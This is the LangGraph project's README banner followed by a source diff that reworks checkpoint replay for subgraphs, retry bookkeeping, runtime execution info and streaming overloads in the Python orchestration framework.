<source media="(prefers-color-scheme: dark)" srcset="../../.github/images/logo-dark.svg">
<source media="(prefers-color-scheme: light)" srcset="../../.github/images/logo-light.svg">
<img alt="LangGraph Logo" src=".github/images/logo-dark.svg" width="50%">
</picture>
</a>
</div>
<div align="center">
<h3>Low-level orchestration framework for building stateful agents.</h3>
</div>
<div align="center">
<a href="https://opensource.org/licenses/MIT" target="_blank"><img src="https://img.shields.io/pypi/l/langgraph" alt="PyPI - License"></a>
<a href="https://pypistats.org/packages/langgraph" target="_blank"><img src="https://img.shields.io/pepy/dt/langgraph" alt="PyPI - Downloads"></a>
<a href="https://pypi.org/project/langgraph/" target="_blank"><img src="https://img.shields.io/pypi/v/langgraph.svg?label=%20" alt="Version"></a>
<a href="https://github.com/langchain-ai/langgraph/issues" target="_blank"><img src="https://img.shields.io/github/issues-raw/langchain-ai/langgraph" alt="Open Issues"></a>
<a href="https://docs.langchain.com/oss/python/langgraph/overview" target="_blank"><img src="https://img.shields.io/badge/docs-latest-blue" alt="Docs"></a>
<a href="https://x.com/langchain" target="_blank"><img src="https://img.shields.io/twitter/url/https/twitter.com/langchain.svg?style=social&label=Follow%20%40LangChain" alt="Twitter / X"></a>
</div>
<picture class="github-only">
<source media="(prefers-color-scheme: light)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg">
<source media="(prefers-color-scheme: dark)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_light.svg">
<img alt="LangGraph Logo" src="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg" width="80%">
</picture>
<div>
<br>
</div>
[![Version](https://img.shields.io/pypi/v/langgraph.svg)](https://pypi.org/project/langgraph/)
[![Downloads](https://static.pepy.tech/badge/langgraph/month)](https://pepy.tech/project/langgraph)
[![Open Issues](https://img.shields.io/github/issues-raw/langchain-ai/langgraph)](https://github.com/langchain-ai/langgraph/issues)
[![Docs](https://img.shields.io/badge/docs-latest-blue)](https://docs.langchain.com/oss/python/langgraph/overview)
Trusted by companies shaping the future of agents including Klarna, Replit, Elastic, and more LangGraph is a low-level orchestration framework for building, managing, and deploying long-running, stateful agents.
@@ -28,7 +28,7 @@ from langgraph._internal._constants import (
NS_SEP,
)
DEFAULT_RECURSION_LIMIT = int(getenv("LANGGRAPH_DEFAULT_RECURSION_LIMIT", "10007"))
DEFAULT_RECURSION_LIMIT = int(getenv("LANGGRAPH_DEFAULT_RECURSION_LIMIT", "10000"))
def recast_checkpoint_ns(ns: str) -> str:
@@ -41,9 +41,8 @@ CONFIG_KEY_CACHE = sys.intern("__pregel_cache")
# holds a `BaseCache` made available to subgraphs
CONFIG_KEY_RESUMING = sys.intern("__pregel_resuming")
# holds a boolean indicating if subgraphs should resume from a previous checkpoint
CONFIG_KEY_REPLAY_STATE = sys.intern("__pregel_replay_state")
# holds a ReplayState tracking the parent checkpoint_id upper bound and which
# subgraph namespaces have already loaded their pre-replay checkpoint
CONFIG_KEY_REPLAYING = sys.intern("__pregel_replaying")
# holds a boolean indicating if subgraphs should replay (re-run tasks, drop cached RESUME writes)
CONFIG_KEY_TASK_ID = sys.intern("__pregel_task_id")
# holds the task ID for the current task
CONFIG_KEY_THREAD_ID = sys.intern("thread_id")
@@ -101,7 +100,7 @@ RESERVED = {
CONFIG_KEY_STREAM,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_RESUMING,
CONFIG_KEY_REPLAY_STATE,
CONFIG_KEY_REPLAYING,
CONFIG_KEY_TASK_ID,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_CHECKPOINT_ID,
@@ -1,90 +0,0 @@
"""Replay state for subgraph checkpoint loading during time-travel."""
from __future__ import annotations
from typing import TYPE_CHECKING
from langgraph._internal._constants import NS_END
if TYPE_CHECKING:
from langchain_core.runnables import RunnableConfig
from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointTuple
class ReplayState:
"""Tracks which subgraphs have already loaded their pre-replay checkpoint.
During a parent replay, each subgraph's first invocation should restore the
checkpoint from before the replay point. Subsequent invocations of the same
subgraph (e.g. in a loop) should use normal checkpoint loading so they pick
up freshly created checkpoints.
The single `ReplayState` instance is shared by reference across all derived
configs within one parent execution.
"""
__slots__ = ("checkpoint_id", "_visited_ns")
def __init__(self, checkpoint_id: str) -> None:
self.checkpoint_id = checkpoint_id
# DO NOT CHANGE THIS VARIABLE it may need to be rehydrated
# in other runtimes
self._visited_ns: set[str] = set()
def _is_first_visit(self, checkpoint_ns: str) -> bool:
"""Return True the first time a subgraph namespace is seen.
The task-id suffix is stripped so that the same logical subgraph
(e.g. ``"sub_node"``) is recognized across loop iterations even
though each iteration has a different task id.
"""
# "sub_node:task_id" -> "sub_node"
stable_ns = (
checkpoint_ns.rsplit(NS_END, 1)[0]
if NS_END in checkpoint_ns
else checkpoint_ns
)
if stable_ns in self._visited_ns:
return False
self._visited_ns.add(stable_ns)
return True
def get_checkpoint(
self,
checkpoint_ns: str,
checkpointer: BaseCheckpointSaver,
checkpoint_config: RunnableConfig,
) -> CheckpointTuple | None:
"""Load the right checkpoint for a subgraph during replay.
On the first call for a given subgraph namespace, returns the latest
checkpoint created *before* the replay point. On subsequent calls
(e.g. the same subgraph in a later loop iteration), falls back to
normal latest-checkpoint loading.
"""
if self._is_first_visit(checkpoint_ns):
for saved in checkpointer.list(
checkpoint_config,
before={"configurable": {"checkpoint_id": self.checkpoint_id}},
limit=1,
):
return saved
return None
return checkpointer.get_tuple(checkpoint_config)
async def aget_checkpoint(
self,
checkpoint_ns: str,
checkpointer: BaseCheckpointSaver,
checkpoint_config: RunnableConfig,
) -> CheckpointTuple | None:
"""Async version of `get_checkpoint`."""
if self._is_first_visit(checkpoint_ns):
async for saved in checkpointer.alist(
checkpoint_config,
before={"configurable": {"checkpoint_id": self.checkpoint_id}},
limit=1,
):
return saved
return None
return await checkpointer.aget_tuple(checkpoint_config)
+4 -25
View File
@@ -6,7 +6,6 @@ import typing
import warnings
from collections import defaultdict
from collections.abc import Awaitable, Callable, Hashable, Sequence
from dataclasses import is_dataclass
from functools import partial
from inspect import isclass, isfunction, ismethod, signature
from types import FunctionType
@@ -15,7 +14,6 @@ from typing import (
Any,
Generic,
Literal,
TypeVar,
Union,
cast,
get_args,
@@ -1166,20 +1164,6 @@ class StateGraph(Generic[StateT, ContextT, InputT, OutputT]):
for key, node in self.nodes.items():
compiled.attach_node(key, node)
# Record output/state mappers for v2 stream coercion (pydantic/dataclass only)
compiled._output_mapper = _pick_mapper(
list(output_channels)
if isinstance(output_channels, list)
else [output_channels],
self.output_schema,
)
compiled._state_mapper = _pick_mapper(
list(stream_channels)
if isinstance(stream_channels, list)
else [stream_channels],
self.state_schema,
)
for start, end in self.edges:
compiled.attach_edge(start, end)
@@ -1199,8 +1183,6 @@ class CompiledStateGraph(
):
builder: StateGraph[StateT, ContextT, InputT, OutputT]
schema_to_mapper: dict[type[Any], Callable[[Any], Any] | None]
_output_mapper: Callable[[Any], Any] | None
_state_mapper: Callable[[Any], Any] | None
def __init__(
self,
@@ -1522,15 +1504,12 @@ def _pick_mapper(
) -> Callable[[Any], Any] | None:
if state_keys == ["__root__"]:
return None
if isclass(schema) and (issubclass(schema, BaseModel) or is_dataclass(schema)):
return partial(_coerce_state, schema)
return None
if isclass(schema) and issubclass(schema, dict):
return None
return partial(_coerce_state, schema)
_S = TypeVar("_S")
def _coerce_state(schema: type[_S], input: dict[str, Any]) -> _S:
def _coerce_state(schema: type[Any], input: dict[str, Any]) -> dict[str, Any]:
return schema(**input)
+3 -28
View File
@@ -45,7 +45,6 @@ from langgraph._internal._constants import (
CONFIG_KEY_SCRATCHPAD,
CONFIG_KEY_SEND,
CONFIG_KEY_TASK_ID,
CONFIG_KEY_THREAD_ID,
ERROR,
INTERRUPT,
NO_WRITES,
@@ -71,7 +70,7 @@ from langgraph.pregel._call import get_runnable_for_task, identifier
from langgraph.pregel._io import read_channels
from langgraph.pregel._log import logger
from langgraph.pregel._read import INPUT_CACHE_KEY_TYPE, PregelNode
from langgraph.runtime import DEFAULT_RUNTIME, ExecutionInfo, Runtime
from langgraph.runtime import DEFAULT_RUNTIME, Runtime
from langgraph.types import (
All,
CacheKey,
@@ -669,13 +668,6 @@ def prepare_single_task(
runtime = runtime.override(
previous=checkpoint["channel_values"].get(PREVIOUS, None),
store=store,
execution_info=ExecutionInfo(
checkpoint_id=checkpoint["id"],
checkpoint_ns=task_checkpoint_ns,
task_id=task_id,
thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
run_id=str(rid) if (rid := config.get("run_id")) else None,
),
)
additional_config = {
"metadata": metadata,
@@ -821,16 +813,7 @@ def prepare_push_task_functional(
stop,
)
runtime = cast(Runtime, configurable.get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME))
runtime = runtime.override(
store=store,
execution_info=ExecutionInfo(
checkpoint_id=checkpoint["id"],
checkpoint_ns=task_checkpoint_ns,
task_id=task_id,
thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
run_id=str(rid) if (rid := config.get("run_id")) else None,
),
)
runtime = runtime.override(store=store)
return PregelExecutableTask(
name,
call.input,
@@ -983,15 +966,7 @@ def prepare_push_task_send(
)
runtime = cast(Runtime, configurable.get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME))
runtime = runtime.override(
store=store,
previous=checkpoint["channel_values"].get(PREVIOUS, None),
execution_info=ExecutionInfo(
checkpoint_id=checkpoint["id"],
checkpoint_ns=task_checkpoint_ns,
task_id=task_id,
thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
run_id=str(rid) if (rid := config.get("run_id")) else None,
),
store=store, previous=checkpoint["channel_values"].get(PREVIOUS, None)
)
additional_config: RunnableConfig = {
"metadata": metadata,
+151 -105
View File
@@ -42,7 +42,7 @@ from langgraph._internal._constants import (
CONFIG_KEY_CHECKPOINT_ID,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_CHECKPOINT_NS,
CONFIG_KEY_REPLAY_STATE,
CONFIG_KEY_REPLAYING,
CONFIG_KEY_RESUME_MAP,
CONFIG_KEY_RESUMING,
CONFIG_KEY_SCRATCHPAD,
@@ -59,7 +59,6 @@ from langgraph._internal._constants import (
RESUME,
TASKS,
)
from langgraph._internal._replay import ReplayState
from langgraph._internal._scratchpad import PregelScratchpad
from langgraph._internal._typing import EMPTY_SEQ, MISSING
from langgraph.channels.base import BaseChannel
@@ -246,7 +245,9 @@ class PregelLoop:
self.interrupt_before = interrupt_before
self.manager = manager
self.is_nested = CONFIG_KEY_TASK_ID in self.config.get(CONF, {})
self.is_replaying = CONFIG_KEY_CHECKPOINT_ID in config[CONF]
self.is_replaying = CONFIG_KEY_CHECKPOINT_ID in config[CONF] or config[
CONF
].get(CONFIG_KEY_REPLAYING, False)
self._migrate_checkpoint = migrate_checkpoint
self.trigger_to_nodes = trigger_to_nodes
self.retry_policy = retry_policy
@@ -569,8 +570,9 @@ class PregelLoop:
):
self.status = "interrupt_after"
raise GraphInterrupt()
# unset resuming flag
# unset resuming/replaying flags
self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
self.config[CONF].pop(CONFIG_KEY_REPLAYING, None)
def match_cached_writes(self) -> Sequence[PregelExecutableTask]:
raise NotImplementedError
@@ -623,56 +625,43 @@ class PregelLoop:
# Resuming from a previous checkpoint requires two things:
# 1. A prior checkpoint exists (channel_versions is non-empty)
# 2. The input signals continuation (not a fresh run with new input)
configurable = self.config.get(CONF, {})
has_prior_checkpoint = bool(self.checkpoint["channel_versions"])
# For subgraphs, the parent explicitly sets CONFIG_KEY_RESUMING.
# For the outer graph, we infer from the input:
# - None input: resume after interrupt (invoke(None, config))
# - Command input: any Command operates on existing state
# - Same run_id: re-entry into an ongoing run (e.g. stream reconnect)
configurable = self.config.get(CONF, {})
input_is_command = isinstance(self.input, Command)
is_resuming = bool(self.checkpoint["channel_versions"]) and bool(
configurable.get(
CONFIG_KEY_RESUMING,
self.input is None
or input_is_command
or (
not self.is_nested
and self.config.get("metadata", {}).get("run_id")
== self.checkpoint_metadata.get("run_id", MISSING)
),
input_signals_resume = (
self.input is None
or isinstance(self.input, Command)
or (
not self.is_nested
and self.config.get("metadata", {}).get("run_id")
== self.checkpoint_metadata.get("run_id", MISSING)
)
)
is_resuming = has_prior_checkpoint and bool(
configurable.get(CONFIG_KEY_RESUMING, input_signals_resume)
)
# When replaying from a specific checkpoint, drop cached RESUME
# writes so that interrupt() calls re-fire instead of returning
# stale values. But if we're actively resuming, keep them —
# stale values. But if a resume value is being provided (e.g.
# Command(resume=...) or CONFIG_KEY_RESUMING), keep them —
# multi-interrupt scenarios need previously resolved values preserved.
if self.is_replaying and (
# Time-travel to a subgraph checkpoint: the parent sets
# RESUMING=True (it can't distinguish time-travel from resume),
# so we check if this subgraph's own ns is in checkpoint_map.
# Normally the map only has ancestor entries (_algo.py); the
# subgraph's own entry only appears via get_state(subgraphs=True).
(
self.is_nested
and configurable.get(CONFIG_KEY_CHECKPOINT_NS, "")
in configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {})
)
or not (
# Outer graph: resume arrives as Command(resume=...)
(input_is_command and cast(Command, self.input).resume is not None)
# Subgraphs: resume arrives via config flag from parent
# (subgraph input is a Send arg, not a Command)
or configurable.get(CONFIG_KEY_RESUMING, False)
)
):
self.checkpoint_pending_writes = [
w for w in self.checkpoint_pending_writes if w[1] != RESUME
]
if self.is_replaying:
is_resume_with_value = (
isinstance(self.input, Command) and self.input.resume is not None
) or configurable.get(CONFIG_KEY_RESUMING, False)
if not is_resume_with_value:
self.checkpoint_pending_writes = [
w for w in self.checkpoint_pending_writes if w[1] != RESUME
]
# map command to writes
if input_is_command:
if (resume := cast(Command, self.input).resume) is not None:
if isinstance(self.input, Command):
if (resume := self.input.resume) is not None:
if not self.checkpointer:
raise RuntimeError(
"Cannot use Command(resume=...) without checkpointer"
@@ -692,7 +681,7 @@ class PregelLoop:
writes: defaultdict[str, list[tuple[str, Any]]] = defaultdict(list)
# group writes by task ID
for tid, c, v in map_command(cmd=cast(Command, self.input)):
for tid, c, v in map_command(cmd=self.input):
if not (c == RESUME and resume_is_map):
writes[tid].append((c, v))
if not writes and not resume_is_map:
@@ -760,27 +749,11 @@ class PregelLoop:
raise EmptyInputError(f"Received no input for {input_keys}")
# Propagate resuming and replaying flags to subgraphs.
if not self.is_nested:
# Pass the resolved before-bound checkpoint ID so subgraphs can
# find their corresponding checkpoint without re-fetching the
# parent. For forks (source=update), use the fork's parent
# checkpoint ID since the fork was created after the subgraph's
# checkpoints from the original execution.
replay_state: ReplayState | None = None
if self.is_replaying:
replay_checkpoint_id = self.checkpoint["id"]
if (
self.checkpoint_metadata.get("source") == "update"
and self.prev_checkpoint_config
):
replay_checkpoint_id = self.prev_checkpoint_config[CONF].get(
CONFIG_KEY_CHECKPOINT_ID, replay_checkpoint_id
)
replay_state = ReplayState(replay_checkpoint_id)
self.config = patch_configurable(
self.config,
{
CONFIG_KEY_RESUMING: is_resuming,
CONFIG_KEY_REPLAY_STATE: replay_state,
CONFIG_KEY_REPLAYING: self.is_replaying,
},
)
# set flag
@@ -1133,34 +1106,76 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
},
)
def _get_parent_checkpoint_id(self) -> str | None:
"""Get the parent checkpoint_id to use as an upper bound for finding
the subgraph's checkpoint. For forks, we need the original parent
checkpoint (not the fork), so we look up the parent checkpoint's
parent_config."""
checkpoint_map = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
parent_ns = NS_SEP.join(self.checkpoint_ns[:-1]) if self.checkpoint_ns else ""
parent_checkpoint_id = checkpoint_map.get(parent_ns)
if not parent_checkpoint_id or not self.checkpointer:
return None
# Check if this is a fork (source=update) — if so, use the fork's
# parent checkpoint_id instead, since the fork was created after
# the subgraph's checkpoints from the original execution.
parent_config: RunnableConfig = {
**self.checkpoint_config,
CONF: {
**self.checkpoint_config.get(CONF, {}),
CONFIG_KEY_CHECKPOINT_NS: parent_ns,
CONFIG_KEY_CHECKPOINT_ID: parent_checkpoint_id,
},
}
parent_saved = self.checkpointer.get_tuple(parent_config)
if parent_saved and parent_saved.metadata.get("source") == "update":
if parent_saved.parent_config:
return parent_saved.parent_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID)
return parent_checkpoint_id
def _get_checkpoint_before_parent(self) -> CheckpointTuple | None:
"""Find the subgraph checkpoint that was current at the parent's
checkpoint time, using the parent checkpoint_id as an upper bound.
Returns a CheckpointTuple with the historical channel_values but fresh
execution state (empty channel_versions/versions_seen) so the subgraph
re-runs its nodes while retaining accumulated data.
Returns None to start fresh if no such checkpoint exists."""
parent_checkpoint_id = self._get_parent_checkpoint_id()
if parent_checkpoint_id and self.checkpointer:
before_config: RunnableConfig = {
CONF: {"checkpoint_id": parent_checkpoint_id}
}
for saved in self.checkpointer.list(
self.checkpoint_config, before=before_config, limit=1
):
checkpoint = empty_checkpoint()
checkpoint["channel_values"] = saved.checkpoint.get(
"channel_values", {}
)
return CheckpointTuple(
self.checkpoint_config, checkpoint, {"step": -2}, None, []
)
return None
# context manager
def __enter__(self) -> Self:
if not self.checkpointer:
saved = None
elif self.checkpoint_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID):
# Explicit checkpoint_id requested — fetch that exact checkpoint.
# This covers both normal replay and subgraphs resolved via
# checkpoint_map during time-travel.
if self.checkpointer:
saved = self.checkpointer.get_tuple(self.checkpoint_config)
elif replay_state := self.config[CONF].get(CONFIG_KEY_REPLAY_STATE):
# Subgraph replay: the parent is replaying and passed us a
# replay_state with its checkpoint_id. Look up our checkpoint
# from the parent's checkpoint_map instead of fetching latest.
saved = replay_state.get_checkpoint(
self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, ""),
self.checkpointer,
self.checkpoint_config,
)
# Clear RESUMING so _first re-applies input instead of resuming.
# This recreates ephemeral routing channels so nodes trigger
# naturally via version comparison.
self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
else:
# Normal case: fetch the most recent checkpoint for this
# graph/thread. Returns None on first invocation.
saved = self.checkpointer.get_tuple(self.checkpoint_config)
saved = None
# When replaying a subgraph that wasn't in the checkpoint map
# (parent checkpoint predates this subgraph), start fresh.
# For stateful subgraphs (checkpointer=True), find the checkpoint
# that was current at the parent's checkpoint time.
if (
saved is not None
and self.config[CONF].get(CONFIG_KEY_REPLAYING)
and not self.checkpoint_config.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_ID)
):
saved = self._get_checkpoint_before_parent()
if saved is None:
saved = CheckpointTuple(
self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1332,34 +1347,65 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
},
)
async def _aget_parent_checkpoint_id(self) -> str | None:
checkpoint_map = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
parent_ns = NS_SEP.join(self.checkpoint_ns[:-1]) if self.checkpoint_ns else ""
parent_checkpoint_id = checkpoint_map.get(parent_ns)
if not parent_checkpoint_id or not self.checkpointer:
return None
parent_config: RunnableConfig = {
**self.checkpoint_config,
CONF: {
**self.checkpoint_config.get(CONF, {}),
CONFIG_KEY_CHECKPOINT_NS: parent_ns,
CONFIG_KEY_CHECKPOINT_ID: parent_checkpoint_id,
},
}
parent_saved = await self.checkpointer.aget_tuple(parent_config)
if parent_saved and parent_saved.metadata.get("source") == "update":
if parent_saved.parent_config:
return parent_saved.parent_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID)
return parent_checkpoint_id
async def _aget_checkpoint_before_parent(self) -> CheckpointTuple | None:
parent_checkpoint_id = await self._aget_parent_checkpoint_id()
if parent_checkpoint_id and self.checkpointer:
before_config: RunnableConfig = {
CONF: {"checkpoint_id": parent_checkpoint_id}
}
async for saved in self.checkpointer.alist(
self.checkpoint_config, before=before_config, limit=1
):
checkpoint = empty_checkpoint()
checkpoint["channel_values"] = saved.checkpoint.get(
"channel_values", {}
)
return CheckpointTuple(
self.checkpoint_config,
checkpoint,
{"step": -2},
None,
[],
)
return None
# context manager
async def __aenter__(self) -> Self:
if not self.checkpointer:
saved = None
elif self.checkpoint_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID):
# Explicit checkpoint_id requested — fetch that exact checkpoint.
# This covers both normal replay and subgraphs resolved via
# checkpoint_map during time-travel.
if self.checkpointer:
saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
elif replay_state := self.config[CONF].get(CONFIG_KEY_REPLAY_STATE):
# Subgraph replay: the parent is replaying and passed us a
# replay_state with its checkpoint_id. Look up our checkpoint
# from the parent's checkpoint_map instead of fetching latest.
saved = await replay_state.aget_checkpoint(
self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, ""),
self.checkpointer,
self.checkpoint_config,
)
# Clear RESUMING so _first re-applies input instead of resuming.
# This recreates ephemeral routing channels so nodes trigger
# naturally via version comparison.
self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
else:
# Normal case: fetch the most recent checkpoint for this
# graph/thread. Returns None on first invocation.
saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
saved = None
# When replaying a subgraph that wasn't in the checkpoint map
# (parent checkpoint predates this subgraph), start fresh.
# For stateful subgraphs (checkpointer=True), find the checkpoint
# that was current at the parent's checkpoint time.
if (
saved is not None
and self.config[CONF].get(CONFIG_KEY_REPLAYING)
and not self.checkpoint_config.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_ID)
):
saved = await self._aget_checkpoint_before_parent()
if saved is None:
saved = CheckpointTuple(
self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
+2 -51
View File
@@ -14,11 +14,9 @@ from langgraph._internal._constants import (
CONF,
CONFIG_KEY_CHECKPOINT_NS,
CONFIG_KEY_RESUMING,
CONFIG_KEY_RUNTIME,
NS_SEP,
)
from langgraph.errors import GraphBubbleUp, ParentCommand
from langgraph.runtime import Runtime
from langgraph.types import Command, PregelExecutableTask, RetryPolicy
logger = logging.getLogger(__name__)
@@ -62,33 +60,10 @@ def run_with_retry(
"""Run a task with retries."""
retry_policy = task.retry_policy or retry_policy
attempts = 0
node_first_attempt_time = time.time()
config = task.config
if configurable is not None:
config = patch_configurable(config, configurable)
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
node_first_attempt_time=node_first_attempt_time,
)
},
)
while True:
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
# node_attempt is execution count (1-indexed): 1 on first run,
# then 2, 3, ... on subsequent retries.
node_attempt=attempts + 1,
)
},
)
try:
# clear any writes from previous attempts
task.writes.clear()
@@ -127,7 +102,7 @@ def run_with_retry(
if not matching_policy:
raise
# attempts tracks failed tries only; it increments after a failure.
# increment attempts
attempts += 1
# check if we should give up
if attempts >= matching_policy.max_attempts:
@@ -166,38 +141,15 @@ async def arun_with_retry(
"""Run a task asynchronously with retries."""
retry_policy = task.retry_policy or retry_policy
attempts = 0
node_first_attempt_time = time.time()
config = task.config
if configurable is not None:
config = patch_configurable(config, configurable)
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
node_first_attempt_time=node_first_attempt_time,
)
},
)
if match_cached_writes is not None and task.cache_key is not None:
for t in await match_cached_writes():
if t is task:
# if the task is already cached, return
return
while True:
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
# node_attempt is execution count (1-indexed): 1 on first run,
# then 2, 3, ... on subsequent retries.
node_attempt=attempts + 1,
)
},
)
try:
# clear any writes from previous attempts
task.writes.clear()
@@ -242,8 +194,7 @@ async def arun_with_retry(
if not matching_policy:
raise
# attempts tracks failed tries only; it increments after a failure.
# The next execution's node_attempt is derived as attempts + 1.
# increment attempts
attempts += 1
# check if we should give up
if attempts >= matching_policy.max_attempts:
+37 -8
View File
@@ -7,6 +7,7 @@ from uuid import UUID
from langchain_core.runnables import RunnableConfig
from langgraph.checkpoint.base import CheckpointMetadata, PendingWrite
from typing_extensions import TypedDict
from langgraph._internal._config import patch_checkpoint_map
from langgraph._internal._constants import (
@@ -22,14 +23,42 @@ from langgraph._internal._typing import MISSING
from langgraph.channels.base import BaseChannel
from langgraph.constants import TAG_HIDDEN
from langgraph.pregel._io import read_channels
from langgraph.types import (
CheckpointPayload,
PregelExecutableTask,
PregelTask,
StateSnapshot,
TaskPayload,
TaskResultPayload,
)
from langgraph.types import PregelExecutableTask, PregelTask, StateSnapshot
__all__ = ("TaskPayload", "TaskResultPayload", "CheckpointTask", "CheckpointPayload")
class TaskPayload(TypedDict):
id: str
name: str
input: Any
triggers: list[str]
class TaskResultPayload(TypedDict):
id: str
name: str
error: str | None
interrupts: list[dict]
result: dict[str, Any]
class CheckpointTask(TypedDict):
id: str
name: str
error: str | None
interrupts: list[dict]
state: StateSnapshot | RunnableConfig | None
class CheckpointPayload(TypedDict):
config: RunnableConfig | None
metadata: CheckpointMetadata
values: dict[str, Any]
next: list[str]
parent_config: RunnableConfig | None
tasks: list[CheckpointTask]
TASK_NAMESPACE = UUID("6ba7b831-9dad-11d1-80b4-00c04fd430c8")
+67 -440
View File
@@ -22,10 +22,8 @@ from inspect import isclass
from typing import (
Any,
Generic,
Literal,
cast,
get_type_hints,
overload,
)
from uuid import UUID, uuid5
@@ -123,10 +121,7 @@ from langgraph.pregel._checkpoint import (
)
from langgraph.pregel._draw import draw_graph
from langgraph.pregel._io import map_input, read_channels
from langgraph.pregel._loop import (
AsyncPregelLoop,
SyncPregelLoop,
)
from langgraph.pregel._loop import AsyncPregelLoop, SyncPregelLoop
from langgraph.pregel._messages import StreamMessagesHandler
from langgraph.pregel._read import DEFAULT_BOUND, PregelNode
from langgraph.pregel._retry import RetryPolicy
@@ -136,25 +131,18 @@ from langgraph.pregel._validate import validate_graph, validate_keys
from langgraph.pregel._write import ChannelWrite, ChannelWriteEntry
from langgraph.pregel.debug import get_bolded_text, get_colored_text, tasks_w_writes
from langgraph.pregel.protocol import PregelProtocol, StreamChunk, StreamProtocol
from langgraph.runtime import (
DEFAULT_RUNTIME,
BaseUser,
Runtime,
ServerInfo,
)
from langgraph.runtime import DEFAULT_RUNTIME, Runtime
from langgraph.types import (
All,
CachePolicy,
Checkpointer,
Command,
Durability,
GraphOutput,
Interrupt,
Send,
StateSnapshot,
StateUpdate,
StreamMode,
StreamPart,
ensure_valid_checkpointer,
)
from langgraph.typing import ContextT, InputT, OutputT, StateT
@@ -1005,11 +993,6 @@ class Pregel(
for name, node in self.get_subgraphs(namespace=namespace, recurse=recurse):
yield name, node
# Mappers for v2 stream coercion (pydantic/dataclass).
# Set by CompiledStateGraph; None for base Pregel.
_output_mapper: Callable[[Any], Any] | None = None
_state_mapper: Callable[[Any], Any] | None = None
def _migrate_checkpoint(self, checkpoint: Checkpoint) -> None:
"""Migrate a saved checkpoint to new channel layout."""
if checkpoint["v"] < 4 and checkpoint.get("pending_sends"):
@@ -2444,7 +2427,6 @@ class Pregel(
durability,
)
@overload
def stream(
self,
input: InputT | Command | None,
@@ -2459,44 +2441,6 @@ class Pregel(
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v2"],
**kwargs: Unpack[DeprecatedKwargs],
) -> Iterator[StreamPart[StateT, OutputT]]: ...
@overload
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1"] = ...,
**kwargs: Unpack[DeprecatedKwargs],
) -> Iterator[dict[str, Any] | Any]: ...
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Unpack[DeprecatedKwargs],
) -> Iterator[dict[str, Any] | Any]:
"""Stream graph steps for a single input.
@@ -2577,8 +2521,6 @@ class Pregel(
config = ensure_config(self.config, config)
callback_manager = get_callback_manager_for_config(config)
if "ls_integration" not in callback_manager.metadata:
callback_manager.add_metadata({"ls_integration": "langgraph"})
run_manager = callback_manager.on_chain_start(
None,
input,
@@ -2650,25 +2592,16 @@ class Pregel(
if durability is not None:
config[CONF][CONFIG_KEY_DURABILITY] = durability_
# build server_info from metadata + parent runtime
parent_runtime = config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
server_info = _build_server_info(config, parent_runtime)
runtime = Runtime(
context=_coerce_context(self.context_schema, context),
store=store,
stream_writer=stream_writer,
previous=None,
execution_info=None,
server_info=server_info,
)
parent_runtime = config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
runtime = parent_runtime.merge(runtime)
config[CONF][CONFIG_KEY_RUNTIME] = runtime
# resolve mappers for v2 stream coercion
